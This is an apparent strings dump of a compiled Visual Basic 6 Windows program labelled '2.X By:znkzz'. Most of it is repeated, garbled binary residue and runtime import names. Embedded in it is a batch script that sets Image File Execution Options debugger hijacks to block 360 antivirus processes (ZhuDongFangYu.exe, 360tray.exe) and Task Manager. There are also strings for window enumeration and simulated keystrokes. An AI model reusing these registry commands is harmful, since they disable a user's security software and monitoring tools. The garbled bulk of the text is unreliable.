,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
1F6866DA5904181AB78CB92397A612F3
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
E990C7F254AFFB40E4F8CC0788E2F17B
75210BD444E7C1EEF190F78A0DCA172A
CB42CF9E8D3246DB9A720B092AEE26F2
FD8FF6F17CFFED7E4027C391D213E9F4
84ED3022B3230383BE8BFCE903E68ACB
DCD5D9C1068016EED1E116CA204EF9F8
7657240CD389E40AA4025DEB5C25BC00
9D183D4775C8E88961F4247B02E71E01
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
1F6866DA5904181AB78CB92397A612F3
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
